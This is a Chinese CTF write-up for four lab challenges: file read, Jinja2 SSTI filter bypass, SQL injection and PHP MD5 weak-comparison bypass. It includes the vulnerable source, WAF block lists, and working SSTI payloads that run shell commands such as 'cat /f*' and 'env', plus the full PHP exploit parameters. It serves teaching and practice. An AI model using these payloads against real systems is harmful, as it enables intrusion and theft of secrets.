fnstCTF 题解
字数 1373 2025-08-22 12:22:15

fnstCTF 题解教学文档

前言

本文档基于fnstCTF比赛中的几道典型题目,详细解析解题思路和方法,涵盖Python文件读取、SSTI绕过、SQL注入和PHP特性利用等技术点。

1. ez_python题目解析

题目描述

通过GET参数读取文件内容,目标是获取flag。

解题步骤

  1. 初始尝试

    • 使用file参数尝试读取文件:?file=flag
    • 尝试读取环境变量失败
  2. 源码读取

    • 读取Python应用源码:?file=app.py
    • 获取到Flask应用源码:
from flask import Flask, request, render_template_string
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import waf

app = Flask(__name__)
limiter = Limiter(get_remote_address, app=app, default_limits=["300 per day", "75 per hour"])

@app.route('/')
@limiter.exempt
def index():
    file_path = request.args.get('file')
    if file_path and "proc" in file_path:
        return "只过滤了proc,别想用这个了,去读源码", 200
    if file_path:
        try:
            with open(file_path, 'r') as file:
                file_content = file.read()
            return f"{file_content}"
        except Exception as e:
            return f"Error reading file: {e}"
    return "Find the get parameter to read something"

@app.route('/shell')
@limiter.limit("10 per minute")
def shell():
    if request.args.get('name'):
        person = request.args.get('name')
        if not waf.waf_check(person):
            mistake = "Something is banned"
            return mistake
        template = 'Hi, %s' % person
        return render_template_string(template)
    some = 'who you are ?'
    return render_template_string(some)

@app.errorhandler(429)
def ratelimit_error(e):
    return "工具? 毫无意义,去手搓", 429

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)
  1. WAF分析
    • 查看waf.py中的过滤规则:
def waf_check(value):
    dangerous_patterns = ['os', 'set', '__builtins__', '=', '.', '{{', '}}', 'popen', '+', '__']
    for pattern in dangerous_patterns:
        if pattern in value:
            return False
    return True
  1. SSTI绕过
    • 使用字符串拼接和十六进制编码绕过WAF
    • 读取flag的payload:
{% print(lipsum["\x5f\x5fglobals\x5f\x5f"][%27o%27%27s%27][%27pope%27%27n%27](%27cat /f*%27)[%27read%27]())%}

2. 三千零一夜(SQL注入)

解题步骤

  1. 注入点发现

    • 使用单引号测试:',发现需要双写绕过
  2. 确定回显位

    • 确认回显位为1
  3. 数据库信息获取

    • 查询当前数据库:flaginit
    • 查询表名:fflllaaaaggggtrueflag
  4. 绕过技巧

    • =被过滤,使用like(但like也被过滤)
    • 使用双写绕过过滤

3. comment_me(SSTI绕过)

解题步骤

  1. 初始探测

    • 扫描目录无果
    • 抓包修改参数测试漏洞
  2. SSTI确认

    • 确认存在SSTI漏洞
    • 发现只有点(.)被过滤
  3. payload构造

    • 使用上一题的payload进行攻击
    • 查看flag位置:
{% print(lipsum["\x5f\x5fglobals\x5f\x5f"][%27o%27%27s%27][%27pope%27%27n%27](%27ls /%27)[%27read%27]())%}
  1. 权限检查

    • 执行whoami查看当前用户权限
    • 发现需要提权
  2. 环境变量读取

    • 通过环境变量获取flag:
h2=2&p={% print(lipsum["\x5f\x5fglobals\x5f\x5f"][%27o%27%27s%27][%27pope%27%27n%27](%27env%27)[%27read%27]())%}

4. ez_php(PHP特性利用)

题目源码

<?php
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['usn']) && isset($_POST['pwd']) && isset($_GET['usn1']) && isset($_POST['pwd1'])){
    $usn = $_GET['usn'];
    $usn1 = $_GET['usn1'];
    $pwd = $_POST['pwd'];
    $pwd1 = $_POST['pwd1'];
    
    if($usn != $pwd && md5($usn) == md5($pwd)){
        if($usn1 !== $pwd1 && md5($usn1) === md5($pwd1)){
            $sign = isset($_GET['sign']) && !empty($_GET['sign']) ? $_GET['sign'] : '';
            $forbidden_commands = ['cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'read'];
            $sign_lower = strtolower($sign);
            foreach($forbidden_commands as $forbidden){
                if(strpos($sign_lower, $forbidden) !== false){
                    die('lol');
                }
            }
            if(empty($sign)){
                die('lol');
            }
            try{
                $output = shell_exec(escapeshellcmd($sign));
                echo "<pre>$output</pre>";
            }catch(ValueError $e){
                echo "lol";
            }
        }else{
            echo "lol";
        }
    }else{
        echo "lol";
    }
}else{
    echo 'lol';
}
?>

解题步骤

  1. 第一层绕过

    • 条件:$usn != $pwd && md5($usn) == md5($pwd)
    • 利用PHP弱类型比较:
      • 使用0e开头的MD5值(如240610708QNKCDZO
      • 或使用数组绕过(usn[]=1&pwd[]=2
  2. 第二层绕过

    • 条件:$usn1 !== $pwd1 && md5($usn1) === md5($pwd1)
    • 使用数组绕过MD5强比较:
      • usn1[]=1&pwd1[]=2
  3. 命令执行绕过

    • 过滤的命令:cat, tac, nl, more, less, head, tail, read
    • 替代方案:
      • 使用ls查看目录
      • 使用env查看环境变量获取flag
  4. 最终payload

    • GET参数:usn=240610708&usn1[]=1&sign=env
    • POST参数:pwd=QNKCDZO&pwd1[]=2

总结

  1. 文件读取

    • 在CTF中,当发现文件读取功能时,优先尝试读取应用源码
    • 注意过滤规则,尝试绕过(如proc被过滤)
  2. SSTI绕过

    • 分析WAF过滤规则
    • 使用字符串拼接、十六进制编码等方式绕过关键字过滤
    • 利用环境变量可能是获取flag的捷径
  3. SQL注入

    • 注意过滤规则,使用双写等技术绕过
    • 当常用操作符被过滤时,寻找替代方案
  4. PHP特性利用

    • 掌握PHP弱类型比较特性
    • 了解MD5碰撞和数组绕过技巧
    • 命令执行时,寻找过滤命令的替代方案
  5. 通用技巧

    • 环境变量检查(env
    • 当前用户权限检查(whoami
    • 目录结构检查(ls
fnstCTF 题解教学文档 前言 本文档基于fnstCTF比赛中的几道典型题目,详细解析解题思路和方法,涵盖Python文件读取、SSTI绕过、SQL注入和PHP特性利用等技术点。 1. ez_ python题目解析 题目描述 通过GET参数读取文件内容,目标是获取flag。 解题步骤 初始尝试 : 使用 file 参数尝试读取文件: ?file=flag 尝试读取环境变量失败 源码读取 : 读取Python应用源码: ?file=app.py 获取到Flask应用源码: WAF分析 : 查看 waf.py 中的过滤规则: SSTI绕过 : 使用字符串拼接和十六进制编码绕过WAF 读取flag的payload: 2. 三千零一夜(SQL注入) 解题步骤 注入点发现 : 使用单引号测试: ' ,发现需要双写绕过 确定回显位 : 确认回显位为1 数据库信息获取 : 查询当前数据库: flaginit 查询表名: fflllaaaagggg 和 trueflag 绕过技巧 : = 被过滤,使用 like (但 like 也被过滤) 使用双写绕过过滤 3. comment_ me(SSTI绕过) 解题步骤 初始探测 : 扫描目录无果 抓包修改参数测试漏洞 SSTI确认 : 确认存在SSTI漏洞 发现只有点(.)被过滤 payload构造 : 使用上一题的payload进行攻击 查看flag位置: 权限检查 : 执行 whoami 查看当前用户权限 发现需要提权 环境变量读取 : 通过环境变量获取flag: 4. ez_ php(PHP特性利用) 题目源码 解题步骤 第一层绕过 : 条件: $usn != $pwd && md5($usn) == md5($pwd) 利用PHP弱类型比较: 使用0e开头的MD5值(如 240610708 和 QNKCDZO ) 或使用数组绕过( usn[]=1&pwd[]=2 ) 第二层绕过 : 条件: $usn1 !== $pwd1 && md5($usn1) === md5($pwd1) 使用数组绕过MD5强比较: usn1[]=1&pwd1[]=2 命令执行绕过 : 过滤的命令: cat , tac , nl , more , less , head , tail , read 替代方案: 使用 ls 查看目录 使用 env 查看环境变量获取flag 最终payload : GET参数: usn=240610708&usn1[]=1&sign=env POST参数: pwd=QNKCDZO&pwd1[]=2 总结 文件读取 : 在CTF中,当发现文件读取功能时,优先尝试读取应用源码 注意过滤规则,尝试绕过(如 proc 被过滤) SSTI绕过 : 分析WAF过滤规则 使用字符串拼接、十六进制编码等方式绕过关键字过滤 利用环境变量可能是获取flag的捷径 SQL注入 : 注意过滤规则,使用双写等技术绕过 当常用操作符被过滤时,寻找替代方案 PHP特性利用 : 掌握PHP弱类型比较特性 了解MD5碰撞和数组绕过技巧 命令执行时,寻找过滤命令的替代方案 通用技巧 : 环境变量检查( env ) 当前用户权限检查( whoami ) 目录结构检查( ls )